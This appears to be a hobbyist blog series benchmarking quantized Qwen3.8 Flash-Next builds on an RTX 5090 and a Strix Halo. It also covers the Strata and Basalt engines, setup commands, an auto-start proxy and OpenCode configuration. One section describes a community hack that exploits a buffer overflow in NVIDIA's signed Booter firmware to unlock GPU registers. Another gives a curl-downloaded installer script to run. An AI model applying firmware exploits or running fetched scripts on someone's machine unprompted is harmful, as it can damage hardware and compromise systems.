The machine remained the problem. A 510 GB model that needs four B300s may be open source on GitHub, but it is still beyond the reach of anyone who wants to run an AI in a home office.

I went back to my RTX 5090 and Strix Halo. Instead of repeating the full v4 benchmark on dozens of models that we already know will not fit or run fast enough, I took the most promising candidate and compared its quantizations. Which version preserves enough quality without turning every interaction into a wait of several minutes?

The result surprised me: the 2-bit version won. I then repeated the test with Basalt, a Strata fork specialized for Blackwell GPUs. The model kept getting everything right, while generation reached 400 tokens per second. The quantization did not change; the engine changed the result substantially.

The RTX 3090 and 4090 got a second wind

Before my results, the community found a limitation that could be removed. On GeForce RTX 20 cards, some FP16 Tensor Core operations with FP32 accumulation run at half the theoretical issue rate per cycle of their professional equivalents. On RTX 30 and 40 cards, the limit also affects BF16.

The hardware is there. Two internal registers select the speed, and the normal driver does not have enough privilege to change them.

The gpu-unlock project found a way to change those registers before the NVIDIA driver takes over the card. On Ampere, it exploits a buffer overflow in the signed Booter that authenticates and loads GSP-RM. Nothing is written to the VBIOS. To restore stock behavior, remove the activation parameter and fully power the machine off, because the selectors reset when the card loses power. If the parameter remains active, the module reapplies the unlock on the next boot.

It also requires Linux, initramfs, and a lot of care. I would not install this on a production workstation without reading the code and understanding the risk.

This is a community hack with no official NVIDIA support. You install it at your own risk. Its value for LLMs is faster prefill when the engine uses this exact Tensor Core path. Other compute applications, including some image-generation pipelines, may also change in performance. Games depend on different GPU paths and bottlenecks, so do not expect higher frame rates from it.

On an RTX 3090 at 420 W, a controlled test measured FP16 with FP32 accumulation going from 76.396 to 125.006 TFLOPS; BF16 went from 76.994 to 127.923. On the 4090, an implementation that is still experimental measured roughly twice the FP16 and BF16 instruction issue rate.

Doubling TFLOPS does not double your LLM. The test that prompted this discussion separated the two phases:

• Prefill is when the model reads the whole prompt. Many tokens are available at once, so the engine can build large parallel matrix operations. One 3090 gained 14.4% on a 16K-token workload, while two modified 3080s gained 33% to 36% with vLLM.
• Decode is when the model generates one token after another. With a quantized LLM using expert offload, this phase is constrained mainly by memory bandwidth, RAM, PCIe, and the expert cache. The measured change stayed within noise.

The gain varies substantially with the engine, quantization, and prompt size. On the dual 3080 setup, Qwen3.8 Flash-Next Q4_K_XL gained only 0.5% to 0.8% at 8K, but reached 12% or 13% at 32K and 128K. On a 3090 running an IQ3_S MoE, a workload near 32K did not change. The computation path used by a quantization may never touch the FP16/BF16 path that was unlocked.

gpu-unlock accelerates a specific Tensor Core path. It may reduce the wait when reading large prompts, but it does not turn 24 GB into 96 GB or create memory bandwidth.

Even with that caveat, the 3090 and 4090 became more interesting for local inference. A used RTX 3090 still has 24 GB of VRAM, NVLink in its generation, and 936 GB/s of bandwidth. The community measured Qwen3.8 Flash-Next at roughly 75 tok/s with IQ3_S and 100 tok/s with Q2_0 on one 3090. With two cards, reports range from 90 to 120 tok/s, depending on the configuration and context size. Those are community results, not measurements from this round.

Why I chose Qwen3.8 Flash-Next

In v4, the open candidates that really interested me were:

The three tied within the noise margin. Only Qwen repeated that quality on consumer hardware. Its main model is a 125-billion-parameter MoE with roughly 6 billion active parameters per token, plus 51 billion parameters in n-gram embeddings and a 4-billion-parameter MTP head. Strata keeps the most frequently used experts on the GPU, keeps the rest in RAM for the CPU to compute, reads the n-gram table from the SSD, and uses the model’s own MTP layer to speculate the next tokens.

DeepSeek V4.1’s backbone and Engram add up to about 748 billion parameters: 552 billion in the backbone and 196 billion in Engram. The published checkpoint has roughly 763 billion parameters in total. I served its native mixed FP4/FP8 version, about 510 GB, on the four-B300 pod.

I also managed to start a 2-bit version on the 5090 using Strata’s dedicated engine. It generated around 17 tokens per second. It runs. It is out of the race for a programming agent.

The GLM 5.3 Flash NVFP4 checkpoint was around 198 GB and ran on the B300. This repository has no consumer configuration that I measured and can recommend. The smaller GLM 4.7 Flash had already scored 24 on the 5090 and 33.5 on the B300 in the previous benchmark. Spending days forcing the wrong family to fit would not produce useful information.

I also left out Qwen 4 and Llama by choice. This round asks a narrow question: which version of the model that already proved its quality works best on the two machines I own?

What I tested

All the code, prompts, hidden tests, and results are in llm-opensource-benchmark. I tested four Qwen3.8 Flash-Next versions:

The Strata files include a shared PLE component, so the full size does not fit directly in VRAM. The engine distributes experts between the GPU and RAM. On Basalt, I used the project’s own packs: one 64.9 GiB .basalt file for Q2_0 and an 81.0 GiB file for IQ3_S. Each file already includes the weights, tokenizer, MTP, expert profile, and vision projector.

For the first RTX 5090 round, I used Strata’s CUDA backend with:

• 4 GiB of VRAM reserved for Hyprland, the browser, and the terminal;
• int8 KV cache, a 128K maximum context, and 32K resident on the GPU;
• an elastic expert cache;
• four-token speculation with the model’s MTP.

I then ran Q2_0 and IQ3_S on Basalt, on the same 5090 and with the same 131,072-token maximum context and int8 KV. I reserved 4,608 MiB because Basalt counts its working buffers against that margin. Free VRAM stayed between 3.6 and 4.4 GB during the tests.

On the Strix Halo, I used the hip-halo backend. That machine has 64 GB reserved for the GPU and 31 GB of GTT mapped over system RAM; the engine’s RAM limit was 61.9 GiB. Since it is headless, I gave the entire GPU to the model and kept 8 GiB of headroom for the conversation cache.

The Strata measurements use two different backends underneath, CUDA on NVIDIA and HIP/ROCm on AMD, with the same engine and the same OpenAI-compatible API. Basalt adds an engine comparison on the 5090, using the same OpenCode, prompts, and grading.

Methodology

I started with a speed test in three situations:

1. a cold 4K-token prompt;
2. a cold prompt labeled 32K, which this model’s tokenizer counted as 42,400 tokens;
3. a continuation of the same conversation, reusing the cache.

Each one generates 256 tokens. The runner measures time to first token, prompt processing, generation, VRAM, RAM, power, and temperature.

What each speed number means

When someone says an LLM runs at 200 tokens per second, they are almost always talking only about generation. An agent session goes through different phases, and each phase hits a different bottleneck.

Prefill is the initial reading of the prompt. The model must process the harness instructions, conversation history, files, and your question before producing its first word. Since all those tokens are available at once, the GPU can process large matrices in parallel.

This phase makes better use of Tensor Cores and raw compute. The larger the context, the more it matters.

The KV cache stores intermediate states for tokens that have already been processed. On a continuation of the same conversation, the model reuses that state instead of reading everything again. That is why the append test reaches tens of thousands of prompt tokens per second and receives the first token in roughly half a second. That number measures cache reuse; comparing it with cold prefill would be dishonest.

The KV cache also grows with the conversation and competes with weights, experts, and buffers for memory. Here it uses int8, with 32K resident on the 5090. Advertised maximum context, context that fits, and context that stays fast are three different numbers.

Speculative decoding uses a draft layer to propose several tokens and lets the main model verify the batch. Output tok/s goes up when the acceptance rate is good. The benefit vanishes when the draft misses too often. The Strata speeds already include MTP with four-token speculation. Basalt also uses the MTP included in its pack, with its own speculation mechanism and defaults.

One metric is missing because I did not measure it here: concurrency. Every number in this article comes from a single stream. A server can handle several sessions and raise aggregate throughput, while each user will usually receive fewer tokens per second.

For individual use, single-stream performance and wall time are what matter. A team must measure simultaneous sessions and per-user latency, as I did in the B300 and H200 test.

Then came two programming tests using OpenCode 2.1.4. The model receives a small Python codebase, works in one continuous session, and never sees the hidden tests. Everything runs inside Bubblewrap, without network access, with a limited filesystem and a local gateway that accepts calls only to the expected model.

The first canary has three turns and 9 hidden tests. The model must implement a log analyzer, fix bugs, and handle changed requirements.

The hard canary has four turns and 36 hidden tests. It is a payment reconciler with decisions buried inside a roughly 79K-token history, one decision corrected later, rejected proposals used as distractions, money that requires exact decimals, and new rules that interact with earlier ones. With OpenCode’s system prompt, the first turn approaches 83K tokens.

A separate yardstick from benchmark v4

These canaries are much smaller and easier. In v4, the model works on a Rails application for seven sprints while a reviewer injects 14 security and correctness defects. The score measures how many defects it finds and fixes on its own before they are revealed. It is a vigilance test with much more code, more tools, and more opportunities to lose track.

Here I use two small Python codebases, three or four turns, and hidden functional tests. I built this yardstick to compare quantizations of the same Qwen and find out whether reducing the bits breaks requirements, context retention, or process. The comparison ends there. Qwen, Opus, GPT, DeepSeek, and the other model families remain a job for v4.

A score of 100 in this article belongs to a different scale, with no equivalence to 100 in v4. It also does not make Q2_0 “better” than the IQ3_S version that scored 91 in v4. V4 selected Qwen as the candidate; this smaller test selects which Qwen file is worth loading at home.

Speed without quality only makes the model fail faster. That is why I measured them separately.

Speed ranking

RTX 5090 with Strata, 4 GiB reserved for the desktop

RTX 5090 with Basalt

Strix Halo, using the whole GPU

The 5090 has 32 GB of GDDR7 and 1,792 GB/s of bandwidth. The Strix has more total capacity, but its roughly 256 GB/s must serve the entire system. Even with Strata on both machines, the difference appears mainly in prefill: 6.9 seconds versus almost 2 minutes to start answering the 42,400-token workload. Basalt cut the 5090 wait to 4.9 seconds.

Q4 gave me the worst of both worlds. On the 5090 it ran slowly, and systemd-oomd killed the quality test. On the Strix, it exhausted VRAM, started paging, and froze the machine until a reboot. More bits preserve more information, but they also use more memory and shrink the hot cache that makes this MoE move.

Basalt versus Strata

Basalt started as a Strata fork and took a narrower direction: Linux or Windows, CUDA 13, and an NVIDIA Blackwell GPU with compute capability 12.0. The 5090 is exactly its target. Strata remains much broader and is what allowed the same Qwen to run on the AMD Strix Halo.

Both engines solve the same central problem. In the tested configuration, experts that do not fit in VRAM stay in RAM while the GPU holds a hot subset. Basalt and Strata expose OpenAI- and Anthropic-compatible APIs and accelerate generation with their MTP drafters. Basalt stores everything in one file and has kernels, memory management, and speculative execution developed specifically for Blackwell.

This was a practical A/B between complete serving stacks, without isolating one optimization. Each engine has its own packs, their defaults are not identical, and Basalt reserved 4,608 MiB of VRAM versus Strata’s 4,096 MiB. I kept the same RTX 5090, the same quantizations, a 131K maximum context, int8 KV, the same OpenCode, and the same tests.

Basalt won every speed metric in this A/B and tied on functional coding results. Q2_0 moved from a range of 223 to 259 tokens per second to 377 to 400. Long-input processing rose from 6,158 to 8,573 tokens per second, and the wait for the first token fell from 6.9 to 4.9 seconds. IQ3_S moved from 158 to 208 to a range of 223 to 231 tokens per second.

Platform scope decides the choice. On an RTX 5090, I would start with Basalt. On the Strix, pre-Blackwell NVIDIA, or other supported hardware, Strata remains the path. Strata covers the platforms where Basalt does not run.

Quality ranking

The simple test separated nothing:

All three passed the 9 hidden tests, preserved the requirements, and finished with the visible suite green. I had to make the test harder.

In the hard canary, I ran Q2_0 and IQ3_S three times each on the 5090 with Strata:

Both versions got everything right in all three runs. They found the decisions in the long context, respected the later correction, handled out-of-order events, chargebacks, currency conversion, and completed the final refactor. They also went through a similar number of failing test runs while working.

The difference was on the clock. Q2_0 took 7.2 minutes on average. IQ3_S took 12.1. The 2-bit model delivered the same result in roughly 60% of the time.

I then repeated all six runs on Basalt:

The penalty that dropped the second IQ3_S run to 96 was a known harness false positive. The model executed ps aux inside the sandbox, and the command showed the bwrap process itself, whose command line contains host paths. The detector treated that as an attempt to access the hidden tests and removed four points. The model did not use those paths, the hidden tests are only mounted later during grading, and all 36 passed.

On Basalt, Q2_0 took 5.4 minutes on average, compared with 7.2 on Strata. IQ3_S fell from 12.1 to 9.0 minutes. The end-to-end gain is smaller than the jump in tokens per second because the session also spends time running tools and tests, and each run generated a different amount of text.

The evidence covers small Python codebases, contexts up to roughly 85K tokens, and only three repetitions per engine and quantization combination in the hard canary. A 2-bit quantization will usually lose quality first on contexts above 100K and on larger codebases. Within the use I measured, spending more bits bought no quality.

What each version showed

Q2_0: the current recommendation

It generated tokens faster in all three machine-and-engine combinations and finished all six hard runs with a perfect score. IQ3_S won the long-prompt prefill measurement on Strata and the 5090 by a tiny margin. With Basalt, Q2_0 reached 400 tokens per second. On the Strix, 55 to 65 tokens per second is usable, although long prefill costs almost two minutes before the first answer.

I would use this version every day and keep the context caveat in mind. Large project, session approaching 100K, or strange behavior? I repeat the same work with IQ3_S before blaming the model.

IQ3_XXS: no clear role

It passed the simple canary and ran quickly, but Q2_0 was faster and uses less space. I did not run the three hard-test repetitions on IQ3_XXS, so I have no data showing a quality advantage.

IQ3_S: the conservative option

This is still the version I would use to validate a suspicious Q2_0 result. It had already scored 91 in benchmark v4 on the 5090, only 1.5 points below its NVFP4 version on the B300. On Basalt, it ran at 223 to 231 tokens per second, roughly the range Q2_0 reached on Strata, while processing prompts faster.

Basalt also measures each quantization against Q8_0. Across its 100-chunk test, IQ3_S kept the same top token in 87.16% of positions. That is a different yardstick from my canaries, but it supports IQ3_S’s role as the conservative option. In my coding tests, that extra precision still found nothing Q2_0 had missed.

UD-Q4_K_XL: quality that does not fit is useless

It was the intuitive candidate for preserving more fidelity. I ran out of memory before reaching the test that could confirm it. On the 5090, it fell below one quarter of Q2_0’s speed and the system killed the run. On the Strix, the machine froze.

The largest quantization that fits on paper can be the worst real configuration. An MoE depends on the space left for experts, KV cache, buffers, and the operating system itself.

Which hardware is worth it?

RTX 3090 and 4090: good if you already own them

Both have 24 GB, which limits the expert cache. gpu-unlock improves prefill in workloads that use the unlocked path, while decode remains constrained by memory and offload. A used 3090, especially two of them with NVLink, can make an interesting local machine. I would not buy a new 4090 today just for this: it still has 24 GB, costs a lot, and the Ada unlock remains experimental.

For either one, I would start with Qwen3.8 Flash-Next Q2_0 and measure my workload. The roughly 100 tokens per second published by the community on one 3090 already puts the card in a practical range. Two 3090s add capacity and may land between 90 and 120 tokens per second, but they do not automatically double throughput. The bill includes power draw, heat, a suitable PSU, and at least 128 GB of RAM.

Strix Halo: plenty of capacity, little bandwidth

It is a good compact and efficient headless box. Unified memory lets it run models that a 24 or 32 GB GPU would reject. In this test, the best model was also Q2_0, at 55 to 65 tokens per second.

The problem appears every time the agent reads a large context. Almost two minutes to process the long workload adds up quickly during a session. I would use it as a private server for asynchronous tasks, simple agents, and workloads where capacity matters more than immediate response.

RTX 5090: the best home option today

The RTX 5090 has 32 GB, 21,760 CUDA cores, and the same nominal 1,792 GB/s bandwidth as the RTX PRO 6000. Capacity is the missing piece: I must reserve 4 GiB for the desktop and use RAM and SSD for the experts that do not fit.

With Strata, it pushed Q2_0 to 223 to 259 tokens per second and read the long workload at 6,158 tokens per second. With Basalt, those numbers reached 400 and 8,573, respectively. This is the first local configuration that does not make me feel like I am waiting for the machine at every step. It is also a card I can use for gaming, image generation, video, and everything else in the workstation.

RTX PRO 6000: three times the VRAM, server-class price

The RTX PRO 6000 Blackwell has 96 GB of GDDR7 ECC, 24,064 CUDA cores, and the same 1,792 GB/s bandwidth. The extra capacity keeps many more experts resident, makes room for a larger quantization, and holds context without fighting the desktop for the last few gigabytes.

It costs $16,000 in NVIDIA’s store, eight times the 5090’s suggested $1,999 price. I have not run this benchmark on one, so I will not invent a speed. Equal bandwidth means that three times the memory will not produce three times the tokens per second. Its gain comes from keeping more data on the card and avoiding the slow RAM and PCIe path.

For individual use, the 5090 makes more financial sense. The PRO 6000 starts to make sense when 96 GB solves a model you actually need, when ECC and professional support matter, or when several sessions will share one card.

Verdict

Local open source models have finally entered a practical range. A single 5090 runs a model that reached Tier A in my v4 benchmark and, with Q2_0 on Basalt, reached 400 tokens per second in the canary. The Strix also did far better than the 7.7 tokens per second from the dense Qwen I had tested before.

The limits remain clear. Context consumes memory, the desktop needs the same VRAM, and every expert outside the card travels over PCIe or falls back to RAM. DeepSeek at 17 tokens per second shows how useless “it runs” can be as a metric. If every iteration takes several hours, model quality stops mattering because nobody can work that way.

For home hardware, the best model preserves enough quality at a speed that lets you iterate. In this round, that was Qwen3.8 Flash-Next Q2_0 on Basalt, running on an RTX 5090.

The benchmark repository has the runners, configurations, raw results, and hidden tests. Repeat it on your machine and send results. Hardware, engine, quantization, and context change the answer. A ready-made ranking is a starting point; the final decision is still measured against your own work.

The result, in short: Qwen3.8 Flash-Next served by Strata on an RTX 5090 scored 91, Tier A, with zero nudges and all 14 planted defects fixed (two only after the reveal), 1.5 points behind the same model running on a datacenter B300. And it did that at about 159 tokens per second.

In this article I go through what Strata is, why it matters right now, what it doesn’t solve, and how I set it up for daily use, with automatic loading and unloading and wired into OpenCode.

What Strata is

Strata is an open source inference engine, MIT licensed, built around one model: Qwen3.8 Flash-Next, a 125B-parameter MoE with 6B active per token, which normally calls for a server. The code is C++ and CUDA, reuses parts of llama.cpp/ggml, and has builds for NVIDIA, AMD (Strix Halo included), Intel Arc and Mac. It brings up an OpenAI- and Anthropic-compatible API on localhost.

The trick is treating the whole PC as a memory hierarchy. The model has 24,576 experts, 512 in each of its 48 layers, and each token uses only 10 per layer, plus one shared expert:

• VRAM holds the most-used experts, like a cache;
• RAM holds all of them, and when a token needs one that isn’t on the card, the processor computes it right there while the card works on the others;
• the SSD holds a lookup table of about 29 GB, from which the model reads a few rows per token.

On top of that, a speculation head that ships with the model itself guesses the next tokens and the big model checks them all at once. The README promises the same answer 1.6 to 1.8 times faster.

On my 5090, the log shows what this looks like in practice. The 32 GB of VRAM hold 10 to 11.5 thousand experts in about 20 to 22 GiB, almost half the total, and generally 90% to 97% of the experts each token asks for are already on the card. The CPU computes the rest directly in RAM, and only a small fraction gets copied to the card over the PCIe bus. That’s why the CPU works hard too, as you can see further down.

Why this matters now

Because memory has become a luxury item. In 2026 the DRAM contract price almost doubled in a single quarter, manufacturers keep prioritizing servers, and Micron walked away from the consumer market to serve the big customers. The RTX 5090 itself, when it shows up, costs two and a half to almost five times MSRP, as I covered in the verdict.

In this scenario, the traditional way of running a Tier A model at home, with the whole model inside VRAM, is a non-starter. Flash-Next in NVFP4 took about 100 GB of card memory on the B300; nobody has that at home.

Strata flips the premise: instead of demanding VRAM for the whole model, it uses VRAM as a cache and RAM as the warehouse. That’s what lets a Tier A model run on a fraction of the video memory it would otherwise ask for.

It isn’t magic

Strata makes it fit, but it doesn’t work miracles. The stated minimum is 32 GB of RAM and VRAM combined, but that only runs the most compressed version; the IQ3_S that scored 91 asks for about 64 GB of RAM. Add about 80 GB of disk, preferably SSD, and a 12 GB card or better on the official path. Below that it’ll still start, there are reports with an 8 GB card, but at about 15 tokens per second.

Memory bandwidth sets the speed

In token generation, the bottleneck on a local machine is almost never compute. It’s how many bytes per second the memory can deliver to the cores, because every token has to read the model’s active weights. And there the gap between memory types is brutal:

The last row is from my machine: the card is running on 8 PCIe lanes instead of 16, and Strata measures that at startup. One more reason the VRAM cache matters so much.

The Strix Halo has 128 GB and fits a lot more than a 5090, but every byte arrives seven times slower. That’s what I measured in the benchmark: the dense Qwen 3.8 27B in Q8 reads about 29 GB per token, and on the Strix the theoretical ceiling sits near 9 tokens per second. I measured 7.7. The same math on the 5090’s bandwidth would give about 60, seven times more, if the model fit along with the context.

That’s why Strata’s design works: the hot path stays in GDDR7, and whatever misses the cache gets computed by the CPU in DDR5, or crosses PCIe, both dozens of times slower. With over 90% cache hits, the little that’s left out doesn’t drag the speed down. On a small card, the cache covers less, more experts take the slow road, and speed drops: the author himself publishes 53 tokens per second on a 12 GB RTX 5070, a third of my 5090.

A potato PC won’t run it

So forget the laptop with integrated graphics and 16 GB of RAM. Without a reasonable dedicated card, without 32 GB of RAM and VRAM combined and without an SSD, the model won’t load, or it loads and runs at RAM speed, which is horse-and-buggy speed.

And there’s an entry cost that doesn’t show up in generation speed: Strata reads the whole first message of every conversation, and the README cites about 60 seconds per 30 thousand tokens as a rule of thumb. On my 5090 it’s much faster, about 100 thousand tokens in 16 to 20 seconds, but on a smaller card count on the README number. Coding agents send big system prompts, so the first answer of each session takes longer than the ones after it.

Heavy even on my 5090

My machine is no slouch: Ryzen 9 7950X3D, 96 GB of RAM (the system sees about 92), 32 GB RTX 5090. Even so, Flash-Next takes up everything:

• at load time, it pushes about 50 GB of experts into RAM, at about 3 GB per second with a cold SSD, and fills the card’s cache with over 20 GiB;
• with everything loaded, less than 800 MB of VRAM is left free;
• with the server up, the machine sits at 88 of 92 GB of RAM used, and the system starts swapping.

This is btop in the middle of a work session with OpenCode. The Strata process alone holds 54 GB of RAM and half the CPU, with half of the 7950X3D’s 32 threads pinned at 100% and the rest above 50%. The 5090 is at 99% utilization, with 30 of 32 GB of VRAM in use and pulling 351 W. There’s 4 GB of RAM left available, and almost 48 GB already in swap.

The side effect shows up in the rest of the system. With VRAM at the limit, my desktop’s app launcher and the terminal on a secondary monitor stopped opening properly, and other programs get sluggish. The fix was telling Strata to give about 2.5 GB of VRAM back to the desktop, with the --vram-elastic option, at the cost of a slightly smaller cache.

With all that, I firmly believe my machine is the minimum for using a local LLM in real programming work, beyond small exercises. With less than that, count on much lower speed, shorter context and the whole PC suffering while the model is loaded.

How to install

The official path on Linux and Mac is the one-line installer. It checks the SHA-256, doesn’t ask for root and installs into your home folder. Like any curl | sh, download it and read it first:

curl -fsSL https://github.com/Niko1221/Strata/releases/latest/download/install.sh -o install.sh
less install.sh
sh install.sh

After that, strata launch asks for model, context and access, downloads the right engine for your card and the model, and starts serving. For scripts, everything goes through flags:

strata launch                                # guided screens
strata launch --model <variant> --yes --no-tui   # no questions
strata launch --status                       # what is being served
strata launch --stop                         # stop
strata monitor --url http://127.0.0.1:8080   # speed, GPU, memory

I used the IQ3_S variant, the one that scored 91 in the benchmark. On disk it takes about 84 GB in two files (the 55 GB model and the 29 GB lookup table), plus about 7 GB for the speculation head.

The configuration strata launch generates is a JSON with the engine arguments. The ones that matter in mine:

"args": [
  "--expert-cache", "auto",
  "--prefill", "auto",
  "--spec", "4", "--spec-min-p", "0.5",
  "--mtp", "/mnt/data/strata-models/mtp/rt",
  "--max-context", "262144",
  "--kv", "int8",
  "--kv-resident", "32768",
  "--vram-elastic"
]

--spec 4 turns on speculation with a window of 4 tokens per step, up to 3 guessed by the speculation head; --kv int8 stores the attention cache in 8 bits; --kv-resident keeps only 32 thousand positions of the context cache, the most-read ones, in VRAM; and --vram-elastic lets it give VRAM back to the desktop with the server running.

From 128 thousand to 256 thousand tokens of context

The benchmark ran with 128 thousand tokens of context, which is what the install configured by default. Later I bumped it to 256 thousand, with --max-context 262144, and the loss was small: in the server logs, generation averaged about 190 tokens per second in a short session with 128 thousand and about 175 with 256 thousand, about 10% slower for twice the context, a bit more with VRAM given back to the desktop.

What holds this together is --kv-resident: only 32 thousand positions of the attention cache, the most-read ones, stay in VRAM, the rest stays in RAM, and even so about 97% of the reads from that cache happen on the card. The benchmark’s 91 was measured with 128 thousand; with 256 thousand I measured speed, and quality hasn’t been re-tested yet.

For me, 256 thousand is the minimum for long agent work. With 128 thousand, a real session blows through the context fast, and the agent starts compacting its memory all the time. That gets annoying very quickly, and every compaction throws away details the model will need later.

Short context is a hidden problem with local models. Before looking at tokens per second, check how much context you can serve without the speed collapsing.

Loading and unloading on its own

Keeping about 50 GB of RAM and the entire card tied up all day, just to have the model ready when I need it, makes no sense. So I put together a small proxy, in pure Python, that’s always up on port 8080 and controls Strata:

• it answers the model list on its own, so OpenCode sees the model without waking anything up;
• on the first chat request, it brings Strata up on an internal port and waits for it to be ready, about 40 seconds;
• it relays the responses in streaming;
• after 10 minutes without traffic, it takes Strata down and gives the card and the RAM back to the system.

The core is this:

def ensure_up():
    with _lock:
        if ready():
            return True
        subprocess.Popen([STRATA, "serve", "--config", CFG,
                          "--host", "127.0.0.1", "--port", str(UP_PORT)],
                         start_new_session=True)
        for _ in range(90):          # cold start takes ~35-40 s
            if ready():
                set_reserve()        # give VRAM back to the desktop
                return True
            time.sleep(2)
        return False

def idle_watch():
    while True:
        time.sleep(30)
        if time.time() - _last > IDLE_TTL:
            stop_up()                # free the GPU and ~50 GB of RAM

And a systemd user service keeps the proxy up from login (trimmed version):

# ~/.config/systemd/user/qwen-strata.service
[Unit]
Description=Qwen3.8 Flash-Next on-demand proxy (Strata RTX 5090)
After=network-online.target

[Service]
Environment=QWEN_IDLE_TTL=600
Environment=QWEN_VRAM_RESERVE_MIB=2560
Environment=QWEN_UP_PORT=8781
Environment=QWEN_PROXY_PORT=8080
ExecStart=%h/.local/bin/qwen-strata-ondemand
Restart=on-failure
KillMode=mixed

[Install]
WantedBy=default.target

systemctl --user daemon-reload
systemctl --user enable --now qwen-strata.service

The price is the wait on the first message after some idle time. In exchange, when I’m not programming, the machine is mine again.

Configuring OpenCode

Strata has a shortcut, strata connect opencode --write, that writes the configuration after asking and keeps a backup. By hand, it’s an OpenAI-compatible provider pointing at the local port:

"provider": {
  "strata-5090": {
    "npm": "@ai-sdk/openai-compatible",
    "name": "Strata (RTX 5090)",
    "options": {
      "baseURL": "http://127.0.0.1:8080/v1",
      "apiKey": "local"
    },
    "models": {
      "qwen3.8-flash-next-iq3_s": {
        "name": "Qwen3.8 Flash-Next IQ3_S (Strata 5090)",
        "reasoning": true,
        "tool_call": true,
        "limit": { "context": 262144, "input": 229376, "output": 32768 }
      }
    }
  }
}

Any key works, because the server is local. Strata itself warns that OpenCode needs limit.input, to know how much of the context is left for input; in the example I set it to the context minus the max output. Claude Code works too, by pointing ANTHROPIC_BASE_URL at http://127.0.0.1:8080 and setting CLAUDE_CODE_MAX_CONTEXT_TOKENS to the context size, since Strata speaks the Anthropic API as well.

One detail: by default Strata serves one request at a time. If your agent fires off subagents in parallel, they get queued.

And day to day?

If you have the machine for it, the result is good. Flash-Next stays above 150 tokens per second most of the time, as you can see in the screenshot at the top, and tool calling is solid: in the benchmark it ran all seven sprints in OpenCode without a single nudge, and in normal use it reads files, runs commands and edits code without tripping over the format.

In practice, I don’t feel much difference from Claude Code, or from OpenCode with GLM or Kimi in the cloud. And the cloud isn’t at its best right now: in my perception, all those services have been a bit slower than usual lately, probably struggling with more demand than available capacity. Running at home, the speed is always the same, and the code never leaves my machine.

Even with good tokens per second, I still feel Flash-Next is a bit less responsive than a commercial model. There are the seconds of reading on the first message of each session, the pause when it needs experts that aren’t on the card, and the cold load after some idle time. That’s to be expected: we’re running a server model with resources at the limit.

Considering it’s free and runs on my machine, it’s almost good enough. For the first time, running a local model for programming feels like a genuinely usable scenario, and I find myself using it more and more as a replacement.

The catch is still the hardware. A 5090, 96 GB of RAM and a strong processor are the minimum for this scenario, and that hardware keeps getting more expensive and harder to find. But for those who already have it, Tier A at home is no longer a promise.

I went back to two machines I already had: a workstation with an RTX 5090 and a Strix Halo mini PC. And with a new inference engine, Strata, which promises to make big MoEs fit on a regular PC. The short answer: a 125B model already makes Tier A on an RTX 5090. The rest is more complicated.

The machines, side by side

Before any scores, understand the physical difference of what I’m comparing:

The B300 has over 30 times the Strix Halo’s memory bandwidth. The 5090 has 7 times. That explains why the same model flies on one machine and crawls on the other, and why quantization stops being a detail and becomes a design decision.

And there’s the shared-memory detail: on the Strix and the Spark, the same RAM serves CPU, GPU and operating system. It’s not dedicated VRAM, so the real slack is much smaller than the pretty number on the box.

The ranking on consumer hardware

The yardstick is the same as the v4 sabotage benchmark: 14 planted defects, a review-vigilance score, Tier A starting at 83.

GLM-4.7-Flash completed the whole protocol (after a first nested attempt that needed a retry) and still failed to detect sabotage. And there’s a humility lesson in the Qwen 27B: it scored 80 on the same task where it scored 80.5 on the B300, but at 7.7 tokens per second on the Q8 probe and 706 minutes on the clock. A good score doesn’t pay for productivity.

I left out the tests that don’t have a final score yet: Qwen3.8 Flash-Next on the Strix with Strata is only confirmed as executable, and the dense 27Bs were discarded on the Strix by the 30 tok/s cutoff.

The tuning that makes a model run well on a PC

Consumer hardware doesn’t forgive lazy configuration. What I learned in practice:

• On the 5090, compile llama.cpp for sm_120. A ready-made image falls into a slow PTX fallback. It’s -DGGML_CUDA=ON -DCMAKE_CUDA_ARCHITECTURES=120, driver 570+, and no --ctx-size 0 on a 32 GB card: the training-context default blows the VRAM on the first allocation. Context needs an explicit ceiling, and if you get OOM on the first request, cut 25 to 50%.
• KV cache in q8_0. Halves KV memory with no measurable quality cost. Flash-attention on by default, but GLM 4.7 Flash needs it off, because its deepseek2 architecture is incompatible.
• Hybrid reasoning is work. Qwen3.8-27B, with the SSM/Mamba architecture, needed a fresh llama.cpp/Ollama build because of ssm_conv1d. And “no reasoning” mode didn’t prevent a coherence loop in one of the attempts; the way out was resuming on the Strix with Q8_0 and --reasoning off. It wasn’t extra memory that fixed it, it was turning off the thinking.
• On the Strix, the adjustment is ROCm, not magic. HSA_OVERRIDE_GFX_VERSION, GGML_HIP_NO_VMM, -dio. Its trump is capacity (128 GB), not speed (~256 GB/s). Q4_K_M gave 12.6 tok/s and Q8_0 gave 7.7 tok/s, below my 30 tok/s cutoff for interactive use. That’s why the Strix became an escape hatch for big models, not a fast chat box.
• Speculation only helps with high acceptance. In a test by Mihai Farcas on an RX 7900 XTX, llama.cpp’s n-gram speculation, with no draft model, had only 5 of 64 tokens accepted, and throughput stayed flat in one run and dropped about 2% in the other. The gain shows up with a drafter made for the model, like the helper Strata uses on Flash-Next.

What is this Strata thing

Strata is an open source inference engine, MIT license, built around one model: Qwen3.8 Flash-Next, a 125-billion-parameter MoE that normally asks for a server. It also runs smaller MoEs, like the Ornith-35B I tested here. The code is C++ and CUDA and reuses parts of llama.cpp/ggml. It has builds for NVIDIA (CUDA 12 and 13), AMD (including Strix Halo), Intel Arc and Apple Silicon, and brings up an OpenAI- and Anthropic-compatible API on localhost, which plugs straight into Claude Code, Codex CLI or OpenCode.

Careful with the name. Mihai Farcas published another engine called Strata, in Rust with HIP kernels, for small dense Qwen 3.5 models on an RX 7900 XTX. They’re different projects, and the one that ran here was the first.

The problem it attacks is the big MoE on a small machine. The strategy is expert-offload, in layers:

• the model has 24,576 experts, 512 in each of the 48 layers, and each token uses only 10 per layer;
• the GPU holds about 4 thousand experts, the most used ones;
• the system RAM holds all of them;
• a lookup table of about 29 GB stays on the SSD, and the model reads a few rows of it per token.

On top of that, a small helper guesses the next words and the big model checks them all at once. The README promises the same answer 1.6 to 1.8 times faster. The minimum is 32 GB adding RAM and VRAM, plus about 80 GB of disk, and the IQ3_S variant I used is about 55 GB.

What made me believe in it was the result: Qwen3.8 Flash-Next on the 5090 with Strata scored 91.0, with zero nudges and all 14 items solved, 1.5 points behind the 92.5 the same model scored on the B300 with vLLM. The report itself calls that “within the noise”. A community project, on a consumer card, sat glued to the same model served in a datacenter in NVFP4.

And now it can see

Until yesterday, my Strata was blind: sending an image got back “this server was started without the vision encoder”. I enabled vision by hand, and it was simpler than it looked.

